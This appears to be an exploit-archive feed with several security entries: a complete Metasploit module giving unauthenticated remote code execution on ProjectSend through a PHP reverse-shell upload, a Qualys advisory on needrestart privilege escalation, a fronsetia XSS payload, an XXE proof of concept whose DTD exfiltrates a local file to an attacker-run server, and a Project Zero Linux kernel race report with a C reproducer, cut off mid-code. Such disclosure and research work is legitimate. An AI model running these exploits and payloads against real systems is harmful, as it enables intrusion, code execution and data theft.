This Metasploit module exploits an improper authorization vulnerability in ProjectSend versions r1295 through r1605. The vulnerability allows an unauthenticated attacker to obtain remote code execution by enabling user registration, disabling the whitelist of allowed file extensions, and uploading a malicious PHP file to the server.

    class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::PhpEXE  prepend Msf::Exploit::Remote::AutoCheck  class CSRFRetrievalError < StandardError; end  def initialize(info = {})    super(      update_info(        info,        'Name' => 'ProjectSend r1295 - r1605 Unauthenticated Remote Code Execution',        'Description' => %q{          This module exploits an improper authorization vulnerability in ProjectSend versions r1295 through r1605.          The vulnerability allows an unauthenticated attacker to obtain remote code execution by enabling user registration,          disabling the whitelist of allowed file extensions, and uploading a malicious PHP file to the server.        },        'License' => MSF_LICENSE,        'Author' => [          'Florent Sicchio', # Discovery          'Hugo Clout', # Discovery          'ostrichgolf' # Metasploit module        ],        'References' => [          ['URL', 'https://github.com/projectsend/projectsend/commit/193367d937b1a59ed5b68dd4e60bd53317473744'],          ['URL', 'https://www.synacktiv.com/sites/default/files/2024-07/synacktiv-projectsend-multiple-vulnerabilities.pdf'],        ],        'DisclosureDate' => '2024-07-19',        'DefaultTarget' => 0,        'Targets' => [          [            'PHP Command',            {              'Platform' => 'php',              'Arch' => ARCH_PHP,              'Type' => :php_cmd,              'DefaultOptions' => {                'PAYLOAD' => 'php/meterpreter/reverse_tcp'              }            }          ]        ],        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]        }      )    )    register_options(      [        OptString.new(          'TARGETURI',          [true, 'The TARGETURI for ProjectSend', '/']        )      ]    )  end  def check    # Obtain the current title of the website    res = send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(datastore['TARGETURI'], 'index.php')    })    return CheckCode::Unknown('Target is not reachable') unless res    # The title will always contain "»" ("&raquo;") regardless of localization. For example: "Log in » ProjectSend"    title_regex = %r{<title>.*?&raquo;\s+(.*?)</title>}    original_title = res.body[title_regex, 1]    csrf_token = ''    begin      csrf_token = get_csrf_token    rescue CSRFRetrievalError => e      return CheckCode::Unknown("#{e.class}: #{e}")    end    # Generate a new title for the website    random_new_title = Rex::Text.rand_text_alphanumeric(8)    # Test if the instance is vulnerable by trying to change its title    params = {      'csrf_token' => csrf_token,      'section' => 'general',      'this_install_title' => random_new_title    }    res = send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'),      'keep_cookie' => true,      'vars_post' => params    })    return CheckCode::Unknown('Failed to connect to the provided URL') unless res    # GET request to check if the title updated    res = send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(datastore['TARGETURI'], 'index.php')    })    # Extract new title for comparison    updated_title = res.body[title_regex, 1]    if updated_title != random_new_title      return CheckCode::Safe    end    # If the title was changed, it is vulnerable and we should restore the original title    params = {      'csrf_token' => csrf_token,      'section' => 'general',      'this_install_title' => original_title    }    send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'),      'keep_cookie' => true,      'vars_post' => params    })    return CheckCode::Appears  end  def get_csrf_token    vprint_status('Extracting CSRF token...')    # Make sure we start from a request with no cookies    res = send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(datastore['TARGETURI'], 'index.php'),      'keep_cookies' => true    })    unless res      fail_with(Failure::Unknown, 'No response from server')    end    # Obtain CSRF token    csrf_token = res.get_html_document.xpath('//input[@name="csrf_token"]/@value')&.text    raise CSRFRetrievalError, 'CSRF token not found in the response' if csrf_token.nil? || csrf_token.empty?    vprint_good("Extracted CSRF token: #{csrf_token}")    csrf_token  end  def enable_user_registration_and_auto_approve    csrf_token = ''    begin      csrf_token = get_csrf_token    rescue CSRFRetrievalError => e      fail_with(Failure::UnexpectedReply, "#{e.class}: #{e}")    end    # Enable user registration, automatic approval of new users allow all users to upload files and allow users to delete their own files    params = {      'csrf_token' => csrf_token,      'section' => 'clients',      'clients_can_register' => 1,      'clients_auto_approve' => 1,      'clients_can_upload' => 1,      'clients_can_delete_own_files' => 1,      'clients_auto_group' => 0,      'clients_can_select_group' => 'none',      'expired_files_hide' => '1'    }    send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'),      'vars_post' => params    })    # Check if we successfully enabled clients registration    res = send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(datastore['TARGETURI'], 'index.php')    })    if res&.code == 200 && res.body.include?('Register as a new client.')      print_good('Client registration successfully enabled')    else      fail_with(Failure::Unknown, 'Could not enable client registration')    end  end  def register_new_user(username, password)    cookie_jar.clear    csrf_token = ''    begin      csrf_token = get_csrf_token    rescue CSRFRetrievalError => e      fail_with(Failure::UnexpectedReply, "#{e.class}: #{e}")    end    # Create a new user with the previously generated username and password    params = {      'csrf_token' => csrf_token,      'name' => username,      'username' => username,      'password' => password,      'email' => Rex::Text.rand_mail_address,      'address' => Rex::Text.rand_text_alphanumeric(8)    }    res = send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(datastore['TARGETURI'], 'register.php'),      'keep_cookie' => true,      'vars_post' => params    })    fail_with(Failure::Unknown, 'Could not create a new user') unless res&.code != 403    print_good("User #{username} created with password #{password}")  end  def disable_upload_restrictions    cookie_jar.clear    csrf_token = ''    begin      csrf_token = get_csrf_token    rescue CSRFRetrievalError => e      fail_with(Failure::UnexpectedReply, "#{e.class}: #{e}")    end    print_status('Disabling upload restrictions...')    # Disable upload restrictions, to allow us to upload our shell    params = {      'csrf_token' => csrf_token,      'section' => 'security',      'file_types_limit_to' => 'noone'    }    send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'),      'keep_cookie' => true,      'vars_post' => params    })  end  def login(username, password)    cookie_jar.clear    csrf_token = ''    begin      csrf_token = get_csrf_token    rescue CSRFRetrievalError => e      fail_with(Failure::UnexpectedReply, "#{e.class}: #{e}")    end    print_status("Logging in as #{username}...")    # Attempt to login as our newly created user    params = {      'csrf_token' => csrf_token,      'do' => 'login',      'username' => username,      'password' => password    }    res = send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(datastore['TARGETURI'], 'index.php'),      'vars_post' => params,      'keep_cookies' => true    })    # Version r1295 does not set a cookie on login, instead we check for a redirect to the expected page indicating a successful login    if res&.headers&.[]('Set-Cookie') || (res&.code == 302 && res&.headers&.[]('Location')&.include?('/my_files/index.php'))      print_good("Logged in as #{username}")      return csrf_token    else      fail_with(Failure::NoAccess, 'Failed to authenticate. This can happen, you should try to execute the exploit again')    end  end  def upload_file(username, password, filename)    login(username, password)    # Craft the payload    payload = get_write_exec_payload(unlink_self: true)    data = Rex::MIME::Message.new    data.add_part(filename, nil, nil, 'form-data; name="name"')    data.add_part(payload, 'application/octet-stream', nil, "form-data; name=\"file\"; filename=\"#{Rex::Text.rand_text_alphanumeric(8)}\"")    post_data = data.to_s    # Upload the shell using a POST request    res = send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(datastore['TARGETURI'], 'includes', 'upload.process.php'),      'ctype' => "multipart/form-data; boundary=#{data.bound}",      'data' => post_data,      'keep_cookies' => true    })    # Check if the server confirms our upload as successful    if res && res.body.include?('"OK":1')      print_good("Successfully uploaded PHP file: #{filename}")      json_response = res.get_json_document      @file_id = json_response.dig('info', 'id')      return res.headers['Date']    else      fail_with(Failure::Unknown, 'PHP file upload failed')    end  end  def calculate_potential_filenames(username, upload_time, filename)    # Hash the username    hashed_username = Digest::SHA1.hexdigest(username)    # Parse the upload time    base_time = Time.parse(upload_time).utc    # Array to store all possible URLs    possible_urls = []    # Iterate over all timezones    (-12..14).each do |timezone|      # Update the variable to reflect the currently looping timezone      adj_time = base_time + (timezone * 3600)      # Insert the potential URL into our array      possible_urls << "#{adj_time.to_i}-#{hashed_username}-#{filename}"    end    possible_urls  end  def cleanup    super    # Delete uploaded file    if @file_id      cookie_jar.clear      csrf_token = login(@username, @password)      # Delete our uploaded payload from the portal      params = {        'csrf_token' => csrf_token,        'action' => 'delete',        'batch[]' => @file_id      }      send_request_cgi({        'method' => 'POST',        'uri' => normalize_uri(datastore['TARGETURI'], 'manage-files.php'),        'vars_post' => params,        'keep_cookies' => true      })      # Version r1295 uses a GET request to delete the uploaded file      send_request_cgi({        'method' => 'GET',        'uri' => normalize_uri(datastore['TARGETURI'], 'manage-files.php'),        'keep_cookies' => true,        'vars_get' => {          'action' => 'delete',          'batch[]' => @file_id        }      })    end    cookie_jar.clear    csrf_token = ''    begin      csrf_token = get_csrf_token    rescue CSRFRetrievalError => e      fail_with(Failure::UnexpectedReply, "#{e.class}: #{e}")    end    # Disable user registration, automatic approval of new users, disallow all users to upload files and prevent users from deleting their own files    params = {      'csrf_token' => csrf_token,      'section' => 'clients',      'clients_can_register' => 0,      'clients_auto_approve' => 0,      'clients_can_upload' => 0,      'clients_can_delete_own_files' => 0    }    send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'),      'vars_post' => params    })    # Check if we successfully disabled client registration    res = send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(datastore['TARGETURI'], 'index.php')    })    if res&.body&.include?('Register as a new client.')      fail_with(Failure::Unknown, 'Could not disable client registration')    end    print_good('Client registration successfully disabled')    print_status('Enabling upload restrictions...')    # Enable upload restrictions for every user    params = {      'csrf_token' => csrf_token,      'section' => 'security',      'file_types_limit_to' => 'all'    }    send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'),      'vars_post' => params    })  end  def trigger_shell(potential_urls)    # Visit each URL, to trigger our payload    potential_urls.each do |url|      send_request_cgi({        'method' => 'GET',        'uri' => normalize_uri(datastore['TARGETURI'], 'upload', 'files', url)      }, 1)    end  end  def exploit    enable_user_registration_and_auto_approve    username = Faker::Internet.username    password = Rex::Text.rand_text_alphanumeric(8)    filename = Rex::Text.rand_text_alphanumeric(8) + '.php'    # Set instance variables for cleanup function    @username = username    @password = password    register_new_user(username, password)    disable_upload_restrictions    upload_time = upload_file(username, password, filename)    potential_urls = calculate_potential_filenames(username, upload_time, filename)    trigger_shell(potential_urls)  endend

ProjectSend R1605 Unauthenticated Remote Code Execution

Qualys discovered that needrestart suffers from multiple local privilege escalation vulnerabilities that allow for root access from an unprivileged user.

  
Qualys Security Advisory

LPEs in needrestart (CVE-2024-48990, CVE-2024-48991, CVE-2024-48992,  
CVE-2024-10224, and CVE-2024-11003)

========================================================================  
Contents  
========================================================================

Summary  
Background  
CVE-2024-48990 (and CVE-2024-48992)  
CVE-2024-48991  
CVE-2024-10224 (and CVE-2024-11003)  
Mitigation  
Acknowledgments  
Timeline

    I got bugs  
    I got bugs in my room  
    Bugs in my bed  
    Bugs in my ears  
    Their eggs in my head  
        -- Pearl Jam, "Bugs"

========================================================================  
Summary  
========================================================================

needrestart (from https://github.com/liske/needrestart) is a Perl tool  
that is installed by default on Ubuntu Server since version 21.04. From  
https://discourse.ubuntu.com/t/needrestart-changes-in-ubuntu-24-04-service-restarts:

------------------------------------------------------------------------  
  What is needrestart, exactly?

  needrestart is a tool that probes your system to see if either the  
  system itself or some of its services should be restarted. That last  
  part is the one of interest in this document. Notably, a service is  
  considered as needing to be restarted if one of its processes is using  
  a shared library whose initial file isn't on the system anymore (for  
  instance, if it has been overwritten by a new version as part of a  
  package update).

  We ship this tool in our server images, and it is configured by  
  default to run at the end of APT transactions, e.g. when doing apt  
  install/upgrade/remove or during unattended-upgrades.  
------------------------------------------------------------------------

We discovered three fundamental vulnerabilities in needrestart (three  
LPEs, Local Privilege Escalations, from any unprivileged user to full  
root), which are exploitable without user interaction on Ubuntu Server  
(through unattended-upgrades):

- CVE-2024-48990: local attackers can execute arbitrary code as root by  
  tricking needrestart into running the Python interpreter with an  
  attacker-controlled PYTHONPATH environment variable.

  Last-minute update: an additional CVE, CVE-2024-48992, has been  
  assigned to needrestart because local attackers can also execute  
  arbitrary code as root by tricking needrestart into running the Ruby  
  interpreter with an attacker-controlled RUBYLIB environment variable.

- CVE-2024-48991: local attackers can execute arbitrary code as root by  
  winning a race condition and tricking needrestart into running their  
  own, fake Python interpreter (instead of the system's real Python  
  interpreter).

- CVE-2024-10224: local attackers can execute arbitrary shell commands  
  as root by tricking needrestart into open()ing a filename of the form  
  "commands|" (technically, this vulnerability is in Perl's ScanDeps  
  module, but it is unclear whether this module was ever meant to  
  operate on attacker-controlled files or not).

  Last-minute update: in the end, an additional CVE, CVE-2024-11003, has  
  been assigned to needrestart for calling Perl's ScanDeps module with  
  attacker-controlled files.

To the best of our knowledge, these vulnerabilities have existed since  
the introduction of interpreter support in needrestart 0.8 (April 2014).  
>From https://github.com/liske/needrestart#interpreters:

------------------------------------------------------------------------  
  needrestart 0.8 brings an interpreter scanning feature. Interpreters  
  not only map binary (shared) objects but also use plaintext source  
  files. The interpreter detection tries to check for outdated source  
  files since they may contain security issues, too. This is only a  
  heuristic and might fail to detect all relevant source files. The  
  following interpreter scanners are shipped:

  - NeedRestart::Interp::Java  
  - NeedRestart::Interp::Perl  
  - NeedRestart::Interp::Python  
  - NeedRestart::Interp::Ruby  
------------------------------------------------------------------------

We will not publish our exploits for now; however, please note that  
these vulnerabilities are trivially exploitable, and other researchers  
might publish working exploits shortly after this coordinated release.

========================================================================  
Background  
========================================================================

    And now the questions:  
    Do I kill them?  
    Become their friend?  
    Do I eat them?  
        -- Pearl Jam, "Bugs"

While idly watching an "apt-get upgrade" of one of our Ubuntu Servers,  
we noticed a message that we had never noticed before: "Scanning  
processes..."

We immediately wondered: What is printing this message? Is it scanning  
userland processes? As root? Even processes that do not belong to root?

We quickly found out that this message is printed by needrestart, a tool  
that scans the userland for processes that need to be restarted after a  
package installation, upgrade, or removal. Naturally, needrestart scans  
all userland processes as root, including unprivileged user processes;  
i.e., possibly attacker-controlled processes.

========================================================================  
CVE-2024-48990 (and CVE-2024-48992)  
========================================================================

To determine whether a Python process (a process that is running the  
Python interpreter) needs to be restarted, needrestart extracts the  
PYTHONPATH environment variable from this process's /proc/pid/environ  
(at line 193), sets this environment variable if it exists (at line  
196), and executes Python ("$ptable->{exec}" at line 203) with a "-"  
argument to read a short, hard-coded script from stdin (at line 204):

------------------------------------------------------------------------  
135 sub files {  
136     my $self = shift;  
137     my $pid = shift;  
138     my $cache = shift;  
139     my $ptable = nr_ptable_pid($pid);  
...  
193     my %e = nr_parse_env($pid);  
194     local %ENV;  
195     if(exists($e{PYTHONPATH})) {  
196         $ENV{PYTHONPATH} = $e{PYTHONPATH};  
197     }  
...  
203     my ($pyread, $pywrite) = nr_fork_pipe2($self->{debug}, $ptable->{exec}, '-');  
204     print $pywrite "import sys\nprint(sys.path)\n";  
205     close($pywrite);  
------------------------------------------------------------------------

Unfortunately, if a Python process belongs to a local attacker, then  
needrestart executes Python (at line 203) with an attacker-controlled  
PYTHONPATH environment variable, which allows the attacker to execute  
arbitrary code as root (even though needrestart's hard-coded Python  
script at line 204 is not attacker-controlled at all). This is  
CVE-2024-48990.

For example, in our exploit we run a simple Python process (which  
sleep()s forever) with a "PYTHONPATH=/home/jane" environment variable,  
and plant a shared library "importlib/__init__.so" in our /home/jane.  
As soon as needrestart executes Python with our PYTHONPATH environment  
variable (at line 203), our shared library is executed (by Python's  
initialization code) and creates a SUID-root shell in /home/jane.

Note: needrestart's support code for the Ruby interpreter seems equally  
vulnerable, but we have not investigated this any further, because  
(unlike Python) Ruby is not installed by default on Ubuntu Server.

Last-minute update: we have now confirmed that needrestart's support  
code for the Ruby interpreter is indeed vulnerable and exploitable,  
through an attacker-controlled RUBYLIB environment variable and an  
"enc/encdb.so" shared library. This is CVE-2024-48992.

========================================================================  
CVE-2024-48991  
========================================================================

To determine whether a process is indeed a Python process (a process  
that is running the Python interpreter, for example /usr/bin/python3),  
needrestart reads this process's /proc/pid/exe (at line 520), and then  
matches it against the regular expression at line 45:

------------------------------------------------------------------------  
 520         my $exe = nr_readlink($pid);  
 ...  
 606             $restart++ if(needrestart_interp_check($nrconf{verbosity} > 1, $pid, $exe, $nrconf{blacklist_interp}, $opt_t));  
------------------------------------------------------------------------  
166 sub needrestart_interp_check($$$$$) {  
167     my $debug = shift;  
168     my $pid = shift;  
169     my $bin = shift;  
170     my $blacklist = shift;  
171     my $tolerance = shift;  
...  
176         if($interp->isa($pid, $bin)) {  
------------------------------------------------------------------------  
 40 sub isa {  
 41     my $self = shift;  
 42     my $pid = shift;  
 43     my $bin = shift;  
 44   
 45     return 1 if($bin =~ m@^/usr/(local/)?bin/python([23][.\d]*)?$@);  
 46   
 47     return 0;  
 48 }  
------------------------------------------------------------------------

In fact, this code used to be vulnerable to CVE-2022-30688, a Local  
Privilege Escalation reported by Jakub Wilk: the regular expression at  
line 45 used to be unanchored (i.e., "/usr/(local/)?bin/python" instead  
of "^/usr/(local/)?bin/python([23][.\d]*)?$"), so local attackers could  
simply run their own, fake "/home/jane/usr/bin/python" (for example) and  
needrestart would later execute this fake Python interpreter as root (as  
if it were the system's real Python interpreter, at line 203).

We tried to bypass the fixed, anchored regular expression at line 45,  
but we failed. However, we eventually realized that the filename that is  
checked at line 45 is not necessarily the same filename that is executed  
at line 203: the filename that is checked is read from /proc/pid/exe in  
the middle of needrestart's main loop (at line 520), but the filename  
that is executed ("$ptable->{exec}" at line 203) was first read from  
/proc/pid/exe long before needrestart entered its main loop.

In other words, needrestart is vulnerable to a TOCTOU race condition  
(time-of-check, time-of-use). For example, our exploit /home/jane/race  
waits for needrestart to read our /proc/pid/exe for the first time (we  
use inotify to reliably win this race), and then quickly execve()s the  
system's real Python interpreter with a script that simply sleep()s for  
some time. As a result, needrestart does its checks on the real Python  
interpreter, but executes our own /home/jane/race instead, as root.

Note: needrestart's support code for the Ruby interpreter seems equally  
vulnerable, but we have not investigated this any further.

========================================================================  
CVE-2024-10224 (and CVE-2024-11003)  
========================================================================

After we had discovered CVE-2024-48990 and CVE-2024-48991 in  
needrestart's support code for the Python interpreter (and Ruby), we  
began to wonder whether the support code for the Perl interpreter might  
also be vulnerable to a Local Privilege Escalation.

Unlike needrestart's support code for Python and Ruby, the support code  
for Perl does not execute the Perl interpreter itself: instead, it calls  
the scan_deps() function from Perl's ScanDeps module, which analyzes a  
Perl script by recursively reading its source files.

We therefore grepped the ScanDeps module for one of the oldest pitfalls  
of the Perl programming language: the two-argument form of open(), which  
allows attackers to execute arbitrary shell commands if they control the  
name of the file to be open()ed (for example, "commands|"). For more  
information, please refer to rain.forest.puppy's 1999 Phrack article  
("That pesky pipe" section) and the SEI CERT Perl Coding Standard:

  https://phrack.org/issues/55/7.html#article  
  https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890543

Incredibly, we found a match, at line 871 in ScanDeps.pm:

------------------------------------------------------------------------  
 868 sub scan_file{  
 869     my $file = shift;  
 870     my %found;  
 871     open my $fh, $file or die "Cannot open $file: $!";  
------------------------------------------------------------------------

In our exploit, we simply run a Perl script named "/home/jane/perl|"  
(which sleep()s forever), and as soon as needrestart calls scan_deps()  
to analyze our script, "/home/jane/perl|" is open()ed (at line 871), but  
because this filename ends with a "|" it is treated as a shell command,  
and our own "/home/jane/perl" is executed instead, as root.

Last-minute update: while reviewing needrestart's patches for these  
vulnerabilities, we have discovered that Perl's ScanDeps module is also  
trivially exploitable through various calls to eval() ("string" eval()s,  
https://perldoc.perl.org/functions/eval). Consequently and impressively,  
in response to our advisory:

- all of ScanDeps's vulnerable calls to open() and eval() have been  
  patched, thus fixing CVE-2024-10224;

- needrestart's dependence on ScanDeps has been completely removed (it  
  uses a simple regex-based approach now), thus fixing CVE-2024-11003.

========================================================================  
Mitigation  
========================================================================

As already recommended by needrestart's advisory for CVE-2022-30688  
(from https://www.openwall.com/lists/oss-security/2022/05/17/9):

------------------------------------------------------------------------  
Disabling the interpreter heuristic in needrestart's config prevents  
this attack:

 # Disable interpreter scanners.  
 $nrconf{interpscan} = 0;  
------------------------------------------------------------------------

========================================================================  
Acknowledgments  
========================================================================

We thank needrestart's maintainer (Thomas Liske), Module::ScanDeps's  
maintainers (Roderich Schupp in particular), the Ubuntu Security Team  
(Mark Esler in particular), and distros@openwall (Salvatore Bonaccorso  
from the Debian Security Team in particular) for their outstanding work;  
it has been a real pleasure to collaborate on this coordinated release.

We also thank Adam Boileau (@metlstorm) and Rodrigo Branco (@bsdaemon)  
for their very kind words about our work; they mean the world to us:

  https://risky.biz/RB755/  
  https://phrack.org/issues/71/2.html#article

========================================================================  
Timeline  
========================================================================

2024-10-04: We sent our advisory and exploits to the Ubuntu Security  
Team, and asked them if they could help us to coordinate this disclosure  
with the upstream projects and distros@openwall; they gladly accepted.

2024-10-08: The Ubuntu Security Team sent our advisory and exploits to  
needrestart's maintainer; we then started a very constructive exchange  
of patches and patch reviews.

2024-10-18: The Ubuntu Security Team opened GHSA-g597-359q-v529, a  
private GitHub repository to collaborate on this disclosure with  
Module::ScanDeps's maintainers.

2024-11-11: The Ubuntu Security Team sent our advisory and all of  
needrestart's and Module::ScanDeps's patches to distros@openwall.

2024-11-19: Coordinated Release Date (16:00 UTC).

needrestart Local Privilege Escalation

fronsetia version 1.1 suffers from a cross site scripting vulnerability.

    # Exploit Title: Reflected XSS - fronsetiav1.1# Date: 11/2024# Exploit Author: Andrey Stoykov# Version: 1.1# Tested on: Debian 12# Blog:https://msecureltd.blogspot.com/2024/11/friday-fun-pentest-series-14-reflected.htmlReflected XSS #1 - "show_operations.jsp"Steps to Reproduce:1. Visit main page of the application.2. In the input field of "WSDL Location" enter the following payload "><imgsrc=x onerror=alert(1)>// HTTP GET RequestGET/fronsetia/show_operations.jsp?Fronsetia_WSDL=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3EHTTP/1.1Host: 192.168.78.128:8080User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0)Gecko/20100101 Firefox/133.0[...]// HTTP ResponseHTTP/1.1 200Content-Type: text/html;charset=ISO-8859-1Content-Length: 6360Date: Wed, 20 Nov 2024 19:42:15 GMTKeep-Alive: timeout=20Connection: keep-alive[...]<title> Fronsetia: "><img src=x onerror=alert(1)> </title>[...]

fronsetia 1.1 Cross Site Scripting

fronsetia version 1.1 suffers from an XML external entity injection vulnerability.

    # Exploit Title: XXE OOB - fronsetiav1.1# Date: 11/2024# Exploit Author: Andrey Stoykov# Version: 1.1# Tested on: Debian 12# Blog:https://msecureltd.blogspot.com/2024/11/friday-fun-pentest-series-15-oob-xxe.htmlXXE OOBDescription:- It was found that the application was vulnerable XXE (XML External EntityInjection)Steps to Reproduce:1. Add Python3 server to serve malicious XXE payload2. Add a file on the file system to be read via the application XXE payloadecho 123123 > /tmp/1233. Enter the following URL as inputhttp://192.168.78.128:8080/fronsetia/show_operations.jsp?Fronsetia_WSDL=http://192.168.78.1:10000/testxxeService?wsdl// Python Server Codefrom flask import Flask, Response, requestimport loggingapp = Flask(__name__)# Set up logginglogging.basicConfig(level=logging.DEBUG)@app.route('/testxxeService', defaults={'path': ''})def catch_all(path):    app.logger.debug("Serving XXE payload")    xml = """<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE data [  <!ENTITY % dtd SYSTEM "http:// 192.168.78.1:10000/data.dtd"> %dtd;]><data>&send;</data>"""    return Response(xml, mimetype='text/xml', status=200)@app.route('/data.dtd', defaults={'path': ''})def hello(path):    app.logger.debug("DTD requested")    xml = """<!ENTITY % file SYSTEM "file:///tmp/123"><!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://192.168.78.1:8000/?content=%file;'>">%eval;%exfil;"""    return Response(xml, mimetype='text/xml', status=200)if __name__ == "__main__":    app.run(host='0.0.0.0', port=10000)

fronsetia 1.1 XML Injection

A security-relevant race between mremap() and THP code has been discovered. Reaching the buggy code typically requires the ability to create unprivileged namespaces. The bug leads to installing physical address 0 as a page table, which is likely exploitable in several ways: For example, triggering the bug in multiple processes can probably lead to unintended page table sharing, which probably can lead to stale TLB entries pointing to freed pages.

    SummaryI found a security-relevant race between mremap() and THP code. Reaching the buggy code typically requires the ability to create unprivileged namespaces. The bug leads to installing physical address 0 as a page table, which is likely exploitable in several ways: For example, triggering the bug in multiple processes can probably lead to unintended page table sharing, which probably can lead to stale TLB entries pointing to freed pages.I also found two other (untested) theoretical races, but those arguably might not even count as bugs, and I'm pretty sure they're not security bugs. I am including my analysis of the closely related non-issues 2 and 3 as context in case you're curious, but I think they're stuff we can deal with on the public list later (or maybe even just leave as-is). Feel free to ignore that part of this report.I will send a suggested patch for the security bug, but I think it's unclear if my patch is actually the right way to fix it.This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2024-12-31.For more details, see the Project Zero vulnerability disclosure policy: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.htmlSecurity bug: move_normal_pmd vs MADVISE_COLLAPSEDescriptionIn mremap(), move_page_tables() looks at the type of the PMD entry and the specified address range to figure out by which method the next chunk of page table entries should be moved. At that point, the mmap_lock is held in write mode, but no rmap locks are held. For PMD entries that point to page tables and are fully covered by the source address range, move_pgt_entry(NORMAL_PMD, ...) is called, which first takes rmap locks, then does move_normal_pmd().move_normal_pmd() takes the necessary page table locks at source and destination, then moves an entire page table from the source to the destination:        /* Clear the pmd */        pmd = *old_pmd;        pmd_clear(old_pmd);        VM_BUG_ON(!pmd_none(*new_pmd));        pmd_populate(mm, new_pmd, pmd_pgtable(pmd));        flush_tlb_range(vma, old_addr, old_addr + PMD_SIZE);The problem is: The rmap locks, which protect against concurrent page table removal by retract_page_tables() in the THP code, are only taken after we have inspected the PMD entry to decide how to move it. So we can race as follows (with two processes that have mappings of the same tmpfs file that is stored on a tmpfs mount with huge=advise):process A                      process B=========                      =========mremap  mremap_to    move_vma      move_page_tables        get_old_pmd        alloc_new_pmd                      *** PREEMPT ***                               madvise(MADV_COLLAPSE)                                 do_madvise                                   madvise_walk_vmas                                     madvise_vma_behavior                                       madvise_collapse                                         hpage_collapse_scan_file                                           collapse_file                                             retract_page_tables                                               i_mmap_lock_read(mapping)                                               pmdp_collapse_flush                                               i_mmap_unlock_read(mapping)        move_pgt_entry(NORMAL_PMD, ...)          take_rmap_locks          move_normal_pmd          drop_rmap_locksIn this case, while move_normal_pmd() expects to see a PMD entry pointing to a page table, the PMD entry has actually been cleared. So this line:pmd_populate(mm, new_pmd, pmd_pgtable(pmd));runs pmd_pgtable() on a cleared PMD entry. On typical implementations (including the X86 one), this simply masks off some bits of pmd and assumes that the remainder is a physical address - so pmd_pgtable(0) returns a pointer to the page for physical address 0. Then, pmd_populate() constructs a PMD entry that points to this physical address as a page table.So this ends up installing physical address 0 as a page table.Fixing itI guess there are two ways we could fix this:    Hold the rmap locks much more broadly in move_page_tables(). In particular, take them before inspecting the source pmd, and if we do a PMD-level move, keep them held throughout the entire move.    Add a bunch of extra recheck/retry logic.I think the first option is nicer in terms of code complexity. Moving the lock up requires a small bit of refactoring though, and the broader locking could conceivably degrade the performance of concurrent rmap access.I will send a suggested patch for the first option in a minute (and I have tested that with that patch, my reproducer no longer triggers); but we might want to do some more bikeshedding of whether this is the right way to patch it, and if yes, whether the patch is doing too little lock-dropping for performance or adds too much complexity with the lock-dropping...ReproducerI made a testcase that triggers this issue after a while and causes a splat when the kernel later tries to unmap this page table at physical address 0:#define _GNU_SOURCE#include <err.h>#include <sched.h>#include <stdio.h>#include <string.h>#include <fcntl.h>#include <signal.h>#include <stdlib.h>#include <unistd.h>#include <sys/syscall.h>#include <sys/stat.h>#include <sys/prctl.h>#include <sys/mount.h>#include <sys/mman.h>#include <sys/wait.h>#include <sys/ioctl.h>static void pin_to(int cpu) {  cpu_set_t cset;  CPU_ZERO(&cset);  CPU_SET(cpu, &cset);  if (sched_setaffinity(0, sizeof(cpu_set_t), &cset))    err(1, "set affinity");}#ifndef MADV_COLLAPSE#define MADV_COLLAPSE 25#endif#define SYSCHK(x) ({          \  typeof(x) __res = (x);      \  if (__res == (typeof(x))-1) \    err(1, "SYSCHK(" #x ")"); \  __res;                      \})static void write_file(char *name, char *buf) {  int fd = SYSCHK(open(name, O_WRONLY));  if (write(fd, buf, strlen(buf)) != strlen(buf))    err(1, "write %s", name);  close(fd);}static void write_map(char *name, int outer_id) {  char buf[100];  sprintf(buf, "0 %d 1", outer_id);  write_file(name, buf);}int main(void) {  // set up new mount ns for tmpfs with THP  int outer_uid = getuid();  int outer_gid = getgid();  SYSCHK(unshare(CLONE_NEWNS|CLONE_NEWUSER));  SYSCHK(mount(NULL, "/", NULL, MS_PRIVATE|MS_REC, NULL));  write_file("/proc/self/setgroups", "deny");  write_map("/proc/self/uid_map", outer_uid);  write_map("/proc/self/gid_map", outer_gid);  // make tmpfs with THP  SYSCHK(mount("none", "/tmp", "tmpfs", MS_NOSUID|MS_NODEV, "huge=advise"));  pin_to(0);  while (1) {    int fd = SYSCHK(open("/tmp/a", O_RDWR|O_CREAT, 0600));    void *ptr = SYSCHK(mmap((void*)0x200000UL, 0x200000, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED_NOREPLACE, fd, 0));    SYSCHK(ftruncate(fd, 0x1000));    *((volatile char *)ptr) = 'a';    SYSCHK(ftruncate(fd, 0x200000));    SYSCHK(madvise(ptr, 0x200000, MADV_HUGEPAGE));    close(fd);    SYSCHK(unlink("/tmp/a"));    int child = SYSCHK(fork());    if (child == 0) {      for (int i=0; i<512; i++)        ((volatile char *)ptr)[0x1000*i] = 'a';      struct sched_param param = { .sched_priority = 0 };      SYSCHK(sched_setscheduler(0, 